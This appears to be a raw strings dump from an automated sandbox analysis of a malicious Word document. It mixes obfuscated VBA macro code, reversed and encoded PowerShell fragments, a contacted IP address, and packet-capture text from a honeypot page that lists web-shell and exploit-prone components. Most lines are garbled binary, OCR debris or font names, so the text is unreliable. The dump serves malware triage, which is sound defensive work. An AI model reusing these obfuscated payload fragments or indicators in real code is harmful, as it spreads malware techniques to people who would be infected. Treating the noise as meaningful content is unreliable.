6EmME(S"SS"6"(1Normal.ThisDocument(%H`%%`h8@0i\$*\Rffff*055c69d0b34xAttribute VB_Name = "ThisDocument"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
6N3r&jVfSDuccNzMOJtQO2@468J CuuIB367156-zQYCi33641NDZmvT1XoPkZFnaY904HOsjiprfCYTnVTQcVwi OuIXj
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
6Symantec Class 3 SHA256 Code Signing CA OCSP Responder0
Ansi based on PCAP Processing (network.pcap)
7 CILbTwJKaJoPr40fEoLRuZIN`YzwhH1z`CZDKVr5031 / nLWmGtD)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
7 7$7(7,707@7D7H7L7P7T7X7\7`7d7h7l7p7t7x7|7
Ansi based on PCAP Processing (network.pcap)
7091@zCdzLGdc
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
7415LVoc!SzaIpuJo@hdXzqb3@728533t LlQLs
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
7l0%&zwZKKwQ\FdSsb16619 SpXou
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
7p95\TDc1P'pERBJ$s#xY[0g<"91
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
8 8$8(8,8<8@8D8H8L8P8T8X8\8`8d8h8l8p8t8x8|8
Ansi based on PCAP Processing (network.pcap)
8 ou *1 T X,$N' tV$j'0ZGnZiroBtCFswAgYAgDAzAAZAMGAmBAZAYGAwAANAIGAkKIA' "R $$R &B ( *z ,X,$N'> . 0 2vT 4<ed 6# 8 : <X,$N' $j'iTHULinJSThUjuKlSCaTGNirtSeRUceS::]LAHsram.SecIVRESPoRETNi.EmItNUr[ (otUAGniRTsOTrTP::]LaHsRam.sECivrEsporetnI.emiTNuR[ ((XEiCwfTczYQcbhSlZlAc' > @O B) D FS H J= LX,$N' N P R2 Td V! X ZS \X,$N' j$j' TcBM0AwMAUGA4AAZAUGAyAwNAIDA4AAOAMGAiBANAcDAjBQMAQGAiBgZAYDAwAQNAcDAwPphDCJJQNjoRFYWN' ^ `L bB dz fu h jb lX,$N'ET n p&h rA t<B v
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
8.*j+NtQc
Ansi based on PCAP Processing (network.pcap)
822990oKERZXkRiFZYP20L170DZzBO0TWSA"wvTOBYXCB@861146
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
830`Q'CRjcsisBFCp
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
86244LTDpFPCof49^8zZw0lsXrp#RnohSpjSXoE0853485pFDPEEpnWdKQzYsEOGbI`13fcCMwPp"tTfUXTVvCAIDzQAnnzzV@hVtOQXpUyoApZa}5y`jBYpYhBAZhB`CN!<3q] ;3Y<zjjfMqYcY asGTnFtbSyjisblaAj'HEVYV@JRtJASN64892brkAWdvz`76070XPjMlojPG!470554PtJju@OBYjktW66`6052AadDzrTaoLkjoKQCkJY5386sqnjhvPuwSkGBt2nuiUCtNANX PYGMIE=ZiMNThIrKHJkqf(224EfstAOikmKqbc&F 49soJziBbOKswR|8932QstlOJMEwLDc528668e[rhPEVBJPMCE@djIRlq189aqrcZnpwwGaSXfDqtizzSQeG"!Z, 8>MwpRaq."DliSPRblY3A"Z|"M$inpJCoGznGZ?zkMEUImMFomX= cdzfvIcru(926452A9MCpmY1313"[VzjvvL820 VfDlAnjV4@VGozImPwSPm@NMfsiC3@810981ClZZUsTLPIR3dnEqwnkiiwczPIkmJAVTwPFtqZx(499TGsTUPaotvlVOB
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
88, 787P8uiZcrs"kDNNHcdKUiHwpduGjwlD=%TwwKRSfILscWQAimajbVtOMZ UuzBioF@zENZwwESZYlDAWa(MLu(271dzlzEPA363580zQlQzoFDTcjQ7q4aYhUBnSkCm)995$-BlBwtMnCnZHSmBhUIAPmEQQwI904347PsuWkfYsoKwal&YREiWzWkH
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
8C I X,$N'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
8PK!@theme/theme/theme1.xmlY[F~/?;I,[6I<ck#wcB$O})Rh/1GHgqB
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
8riK~*~P(5^zBoWm{~T@caT.}x
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
9 717899pSJHrWpVKhGYsEWFsmLgjHBjhbyuf(wVMcMwrlh, 140)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
9 9$9(989<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|9
Ansi based on PCAP Processing (network.pcap)
9 T3aotCrlXaliFihJwcInXrLQbYI7476, 76XPHfTP"TbaQoYjzwCwWnQaMbHVkUYDziEMIdftDVqF@WoShnd@7k@WMEMBfaJVVntWawi`AEJAHqtHoVj@(4P3ahXqIaMjDRi 492ZUqjO`K`71#WbifBKv10292WXzomDzz vNMizbtkjRKf7875p,apAppKGPRbwXGZpckzMhf
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
9+0@.3ijtGIZoa,uFD7qc054AbYWLvthBJirSRM
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
91.217.66.130
Ansi based on PCAP Processing (PCAP)
922miLUanR60905ARbUYQrR5778/ Tn@XuTzlo$3 49273d
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
9342bYlGzlwoaWzzK
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
95ptC hQTwL
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
96p3iFpncI@IGIHVI
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
9868175@BjZqcFRobWDEnd Sub
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
9<2T;HiUwbHzsLFz1inKDfSGwuvQ0e`7pz111nqfMQ0OPXl:CV@FacVtCoDMRmOmWGO(80:aZSAtsTiF
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
9aL-[DR?%COMMONPROGRAMFILES%\Microsoft Shared\OFFICE16\MSO.DLLOffice
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
9C9`1tmu(@v%mtQcxy~]4sPA~ha2~jJe.p)bm~~?u\,2FGLb{ulM+>?i^>/n(ah+Ppa+v7%y^j#o^VcnnrIRWeS8W@ezysJaJIG1"~?Lu
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
9D0tcZCs%`kv^C%v$5%uGMLD`"ITMvfU
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
9PstqhaZvhVOf6CiwCMqcoA jXTtv10248AYfPdnDRRPFva cwunvq%wIrYECiYR0jMOjjHwWqF1o(78q/niZjCGksq]1zuVSXmWKGjNjmf978( jRNLX720pyufSbS
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
9xj(3Joox>~h&m34kYYxo5-_R1-\(y{#PRP/Ez6x%Q[zeGsE,#,("YZH[UB>J:W!\hBmRj=$W{'R>7RX\Fsl8`y*_MAR@Q\B,S|&|#T{[7.j&3FWE/3\9M%Krd%@
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
: 2 < d "
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
: :$:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:
Ansi based on PCAP Processing (network.pcap)
:y <0 > @k4& BX,$N'2 $j'DUswpBHATNAMGA4AgZAMGA0AAMAMGAyAQMAIGAxAwNAUGA5AQNAUDA3AwNAEGA3AgYAYDAzAAMAQDA3AgNAgDA4AgYAEGAiBQOAIGA1AgMAMDA0AQZAUDAwAQMAkDAyAAZAYDA2AwNAIGAmBgNAUDNtEDdJFBaH'F J L7 N PfXX RvX T VC XX,$N'H \ ^= `Kv( bS d f h(< jX,$N'Z F
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
; ;0;4;8;<;@;D;H;L;P;T;X;\;`;d;h;l;p;t;
Ansi based on PCAP Processing (network.pcap)
;5*JuItq|3xk5r^aE"cj8srVsX6x(X/OJXL izmN,[|a`y{{+? 8QFlNsn'md'g^88r2{+4LTdX
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
;='_-_'__'=_.=_.z
Ansi based on Image Processing (screen_0.png)
;SZ!8YNN_M4^J'R ?gism<yEnTu<@u+.}JFm\=?^zy^n$%H$%HR<vJ~1<:M %HgR)R))@J %@J %HIJ %H$%HHR)R)@JR)@J %)@J %@J %HHRHR)IR)R)@J@J %@J %HIJ %HHRR)R))@J %@J %HgR)R))@J %@J %HIJ %H$%HHR)R)@JR)_)~;}bbZ,^cF)}0K5{[l<*{HR>RS|:G,}SJ`Z\F%V)R)d$%Z[RrhRm{o;|MiwaZ)<swZ?/Hi*%v[+}{x>>Z;]vXxfQi+/F%|e)vIIMJvARJUTZ+H8x)S
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
;Xu._W}:,ibc^Wg0wQw2evZ@Toozd<TEY2pJec<{Yo%j4I9B%
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
<,<0<4<8<<<@<D<H<L<P<T<X<\<`<d<h<l<p<
Ansi based on PCAP Processing (network.pcap)
</a><br><a href='index.php?option=com_acajoom'>This contact form is about /components/com_acajoom/ </a><br><a href='index.php?option=com_content'>This contact form is about /components/com_content/ </a><br><a href='index.php?option=com_phocagallery'>This contact form is about /components/com_phocagallery/ </a><br><a href='index.php?option=com_mailto'>This contact form is about /components/com_mailto/ </a><br><a href='index.php?option=com_qcontacts'>This contact form is about /components/com_qcontacts/ </a><br><a href='index.php?option=com_jevents'>This contact form is about /components/com_jevents/ </a><br><a href='index.php?option=com_contact'>This contact form is about /components/com_contact/ </a><br><a href='index.php?option=com_search'>This contact form is about /components/com_search/ </a><br><a href='index.php?option=com_virtuemart'>This contact form is about /components/com_virtuemart/ </a><br><a href='index.php?option=com_google'>This contact form is about /components/com_google/ </a><br><a href='index.php?option=com_oziogallery2'>This contact form is about /components/com_oziogallery2/ </a><br><a href='index.php?option=fckeditor/editor/filemanager/connectors/uploadtest.html'>This contact form is about /components/fckeditor/editor/filemanager/connectors/uploadtest.html/ </a><br><a href='index.php?option=FCKeditor - Uploaders Tests'>This contact form is about /components/FCKeditor - Uploaders Tests/ </a><br><a href
Ansi based on PCAP Processing (network.pcap)
</h1> <span>This is an automatic process. Your browser will redirect to your requested content in <span id="seconds">5</span> seconds.</span> </div> <form id="challenge-form" action="/verify.php" method="post"> <input type="hidden" name="hash" value="9f00b0780796155a84d3fa11f20360561189560d"/> <input type="hidden" name="origin_url" value="http://amor.official.pw/f3sqVF/"/> </form> </div> <div class="link"> <a href="https://bitninja.io" target="_blank" style="font-size: 12px;">Security check by BitNinja.IO</a> </div> </td> </tr> </table> </body> <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><a href='index.php?option=com_dshop'>This contact form is about /components/com_dshop/ </a><br><a href='index.php?option=com_jobprofile'>This contact form is about /components/com_jobprofile/ </a><br><a href='index.php?option=com_fckeditor'>This contact form is about /components/com_fckeditor/
Ansi based on PCAP Processing (network.pcap)
<08jgi2!'.SsSc4_V
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> Copyright (c) Microsoft Corporation --><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity type="win32" name="Microsoft.Windows.spfileq" version="5.1.0.0" processorArchitecture="x86"/> <description>spfileq</description> Identify the application security requirements. --> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level="asInvoker" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo></assembly>
Ansi based on PCAP Processing (network.pcap)
<@FTy#Q3eRbqo:9KnQH-7RifmCHRZ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>L#@0(
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
<DliSPRblAMAIDA3AAZAEDA4AQZAQGAlBANAEDA0AwMAIDinpJCoGznGOiDZR'.
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
<VeriSign Class 3 Public Primary Certification Authority - G50
Ansi based on PCAP Processing (network.pcap)
= C?hv=%[xp{_P<1H0ORBdJE4b$q_6LR7`0O,En7Lib/SePK!kytheme/theme/themeManager.xmlM
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
='index.php?option=phpmyadmin'>This contact form is about /components/phpmyadmin/ </a><br><a href='index.php?option=phpmyadmin2'>This contact form is about /components/phpmyadmin2/ </a><br><a href="demo/GHH%20-%20Haxplorer/1.php?param=honey">GHDB Signature #833 (filetype:php HAXPLORER &quot;Server Files Browser&quot;)</a><br><br><a href="demo/GHH%20-%20PHP%20Ping/php-ping.php?param=honey">GHDB Signature #733 (&quot;Enter ip&quot; inurl:&quot;php-ping.php&quot;)</a><br><br><a href="demo/GHH%20-%20PHP%20Shell/phpshell.php?param=honey">GHDB Signature #365 (intitle:&quot;PHP Shell *&quot; &quot;Enable stderr&quot; filetype:php)</a><br><br><a href="demo/GHH%20-%20PHPBB%20Install/phpBB2/install/install.php?param=honey">GHDB Signature #935 (inurl:&quot;install/install.php&quot;)</a><br><br><a href="demo/GHH%20-%20PHPFM/index.php?param=honey">GHDB Signature #361 (&quot;Powered by PHPFM&quot; filetype:php -username)</a><br><br><a href="demo/GHH%20-%20PhpSysInfo/index.php?param=honey">GHDB Signature #161 (inurl:phpSysInfo/ &quot;created by phpsysinfo&quot;)</a><br><br><a href="demo/GHH%20-%20SquirrelMail/src/login.php?param=honey">GHDB Signature #1013 (&quot;SquirrelMail version 1.4.4&quot; inurl:src ext:php)</a> <br><br><a href="/demo/?GHH v1.1 - WebUtil 2.7">GHDB Signature #1013 (&quot;SquirrelMail version 1.4.4&quot; inurl:src ext:php)</a> <br><br><a href="/demo/?GHH v1.1 - .mdb/admin.mdb">GHDB Signature #162 (allinurl: admin m
Ansi based on PCAP Processing (network.pcap)
=G&t^nna9/m!9R]\JN9Aj_IBzA`F_$ 11;'O;:?ZN#>]gTU'ji BD!vQ{joYgG5U 8XC9|ajX[+vR|SSk)_c{A3A)]Hpa()b
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
=H &'1 X E
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
=yw>{EfqV
Ansi based on PCAP Processing (network.pcap)
>0LhshFPw8U/$KF(``
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
>On,XzjV6{D;f,B7(J{%+4s]6O#A)L`Y\.vmef]v^+4P
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
>orn}[bjbjLL.&b&b^^^^^rrrr~rfyyy$7*^yyyyy^^y
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
? X JA ` X,$N'$ E L;_ y I X,$N'4 em Uj t 8 '4 X,$N'kY | O " R X,$N' (
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
?�������������?��������������������������������������
Ansi based on Runtime Data (WINWORD.EXE )
@1h1n1t1z1
Ansi based on PCAP Processing (network.pcap)
@Arial Unicode MS
Unicode based on Runtime Data (WINWORD.EXE )
@BatangChe
Unicode based on Runtime Data (WINWORD.EXE )
@bCbKjfJVCTMnzUrYPHCNNLHVqqRcKUKrFrvZKzp
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
@DFKai-SB
Unicode based on Runtime Data (WINWORD.EXE )
@DotumChe
Unicode based on Runtime Data (WINWORD.EXE )
@FangSong
Unicode based on Runtime Data (WINWORD.EXE )
@GulimChe
Unicode based on Runtime Data (WINWORD.EXE )
@GungsuhChe
Unicode based on Runtime Data (WINWORD.EXE )
@Malgun Gothic
Unicode based on Runtime Data (WINWORD.EXE )
@Meiryo UI
Unicode based on Runtime Data (WINWORD.EXE )
@Microsoft JhengHei
Unicode based on Runtime Data (WINWORD.EXE )
@Microsoft JhengHei UI
Unicode based on Runtime Data (WINWORD.EXE )
@Microsoft YaHei
Unicode based on Runtime Data (WINWORD.EXE )
@Microsoft YaHei UI
Unicode based on Runtime Data (WINWORD.EXE )
@MingLiU-ExtB
Unicode based on Runtime Data (WINWORD.EXE )
@MingLiU_HKSCS
Unicode based on Runtime Data (WINWORD.EXE )
@MingLiU_HKSCS-ExtB
Unicode based on Runtime Data (WINWORD.EXE )
@Module1zAnsZRGspOzAhdwWNmhnWHTzJVmjbOZoJDmQirU~}
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
@MS Gothic
Unicode based on Runtime Data (WINWORD.EXE )
@MS Mincho
Unicode based on Runtime Data (WINWORD.EXE )
@MS PGothic
Unicode based on Runtime Data (WINWORD.EXE )
@MS PMincho
Unicode based on Runtime Data (WINWORD.EXE )
@MS UI Gothic
Unicode based on Runtime Data (WINWORD.EXE )
@O7OUZzpc394122zvsQ1C3o417wWbzqQYZYKa issLU228990icIFwOT ozru)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
@PMingLiU
Unicode based on Runtime Data (WINWORD.EXE )
@PMingLiU-ExtB
Unicode based on Runtime Data (WINWORD.EXE )
@SimSun-ExtB
Unicode based on Runtime Data (WINWORD.EXE )
@VFlLDTqcjvPON!G 20427%ERXIwMKmFBOiTHLRt<(A> A3, 7B3CUJA"NrCfQRu.x=?yOhB<x~AkB[<=NYBmvB1M=BiCFDDAliYDAUpZ$mqAp[fOwZp#EwdLQX#iPCDSEwVFcqhQVwkrFWu (767 <b@vXZljT2029p* NLkbXWPmitDc967_csqqwAhCnbnz4490~#YjFUukdVju7cTnBkm#940516!hvqXKK0KXInR#wKRQSt"Nzo@jhjVML`
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
@VH=@s~f.g.I
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
@y/ FRVtmivdfFKAk24RllsInSCQXsxAufpnlL41EcmN*RYX
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
@}w7c(EbCA7K
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
[Host Extender Info]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
[Workspace]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
\$?rIwgqh
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
\(2;YRM(?4=)*>/Q-C|qRYP&%3i?yG_5Cr*Hl&z8Jj-H_CWIA%1/]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
\RF./NWHS*.iT;U;VT&ScR.FP%LUiL4GZ+xVyoLPy-a'WmsugYY7X,"srE^wTq\T2S(l |(^"R#+}\NCSIf/oijon8O#8"xy%f6OZtJuR fC!=|ta-EW~YF/[\gmR~^FdOJPi8
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
]hpO%TT?8dV&>NpZz"E%(QAhm20,d
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
]~iU%JM:TKPs0|q|o$6{ZJ-zz{=\4)C=On{FO?egbZ[H9_qn5we(Wi!Tzsm(#=}[ilUPhzt7Nmv
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
^Djlkima`isDIP@m852AidFWbRa_kOjPZTWp(zPIo jTzukpGfdwTjwj(8979401rQhdbKRMSJjvKF.~640*wzTcjHiTIR-"6-948KWYvWbGzaL1647043-hSPILVX0hqnA@
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
^l>z|?mV,DV},;b&lj#B2_Y0fR/K5-dM]?m GH
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
^qI'I'#3ENii)3}d\gbjr1zo3z%U2+PJoB?>e<KgJ7Z*x(&5Bc#<r54fs^1ej=&ulr`YVi~g5O,td=J':~OJc]j3z
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
^rEusF&I,.
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
^U>'j6Sh#aFW'k|V)Dmu@;a3BkG\JL)--\oHi:yHim3MSGPm7\{R_&%F_R"pYW6D^h))x#fGuIENDB`
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
^~]Ozs\%S19 Sd`LE4QM]McK_w?-7!MkvQh"N.Wrub0o2=Gf*xlcs=`J)1!O)Dhz1v8_;*e\Mx
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
_',_cn_patibi_it_.'_.1c__e_
Ansi based on Image Processing (screen_3.png)
_.1i,__'c_.crt_.,'._c_'__
Ansi based on Image Processing (screen_3.png)
_8i_''''_
Ansi based on Image Processing (screen_3.png)
_:8K%eZXR}X5Jd`l_^vfIdRi4nR*!9>3b4Je?Ym'MKII%Q2p8nOYiX*M&{P(?JpTm$;c!=%}pEw~R6)%^aw3G6t&D_OGGtWfd.DtGOF=/8+|co4Nr,x67o?GZreyIEiiUnI2{>W>'J'+QOONf}#ymUP_kn:7'yS?:=+1di*-qbQW-f_DXao`
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
__''_''__
Ansi based on Image Processing (screen_0.png)
__,8_Find_
Ansi based on Image Processing (screen_0.png)
__,____,_d_____Find'
Ansi based on Image Processing (screen_3.png)
___,,,ag_,ie,0
Ansi based on Image Processing (screen_5.png)
___________
Ansi based on Image Processing (screen_0.png)
______________0?__p_L?0__,l,_____0_______cc__
Ansi based on Image Processing (screen_5.png)
__wdMj__i_a_at
Ansi based on Image Processing (screen_3.png)
_c0mpatibi_i_m0de_
Ansi based on Image Processing (screen_0.png)
_d,,t,,,g
Ansi based on Image Processing (screen_3.png)
_ei.6*G4cT_)Project1ProjectThisDocumentF
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
_i'000i'_
Ansi based on Image Processing (screen_0.png)
_r&9yp *gjt N-5ANBU{G~Rg;@+bw[_
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
_s_gt__sg_gct_
Ansi based on Image Processing (screen_0.png)
_w7{Kiz^Ht"r+!B%4^& ,,VQnaIq]-=(WWz"tHz1)Xn|:O@G+&EZOBFpXoJ0#VL0y12CLYF-_'Z211NAz7iPl@7np
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
_�������������?�������������������������������������
Ansi based on Runtime Data (WINWORD.EXE )
`"BCEjpxj
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
`"hpxp]`+^S+ :j'v'ox ' ~5 5 {b& k& X,$N' ^Qg - M= (& rt X,$N' +2 } ' ' X,$N' $ ' '
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
`4z!/ GwFiUfjcPcjBITvPRAc797 z5`::dM@wQmWRF "OpZRzTIwXBEXbtqur26IG{swmBwy3AwMAuMxyAQN|MAMxYA4AyxGFirRXKbPJPW>`cjajuaMtHdGwfFiCHYlUplNP)4485260LiIYIFiiusqFwQ@*1898@(KKVSOVfr)@288547BuvGncbKT19568~{hqZWwiqMC)@bAiarwm@8697879 GLnXGPOuibqpcfc*@ZvXDRw`trZzBCZaS`bNkfBvDqbjjNX(P2 `awHwA KpzMD32 21286 hlqYfttvtfjsiYA991847|tvfIAUS@640$AiRkmPXbl
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
`593!LYuL46505bhNs/ 1089546(ThruFSQKAmqIC*E5b3SFtRjhwBwT3
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
`;,s:lb_N"I8IQK"&pU-;PMh<2*rIkbHMThi25/[W3 Ts8j)*P-XU(?+
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
`\??\Volume{e47f4f43-d863-11e7-9d8f-806e6f6e6963}
Unicode based on Runtime Data (WINWORD.EXE )
`\??\Volume{e47f4f44-d863-11e7-9d8f-806e6f6e6963}
Unicode based on Runtime Data (WINWORD.EXE )
A^h*Q$Lt::O_S}XZ^s,fg_fSLSYf:IwBD[s{f9LsJ$Q}luuR^(_&TUfm%X{=w:v0s~icY'j&qy%,OFMZm`0`l%*I^aZO;\dWKG2lC_#hUV&{X*hTeQ|G*[q>++5R013V0ErUhi>XJ;Oc^7fLKg0@iX(gi3
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
A_,,_o,_,.,,,,d
Ansi based on Image Processing (screen_3.png)
ABDVWSTfbH&bhEtk'jhcuWJfnm$lGMAnhpWhwOwzUw
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
AbjijYSkZZbihA3sJstzhnizwjzWWwh]wpwjvLivEBcyVpSTSuWuNQqCwUGcouiatqZHHCYKSjzawOas^QOzznzjhh+EkJmPvdiLQAdDENqDitOqnlcFstaaMEMh
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
acjoCmqsqWP mEUb`iNIPXP
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
aCnfCPbLKuGVnrQEZrtzmCbVEYIprVGwwfcM
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
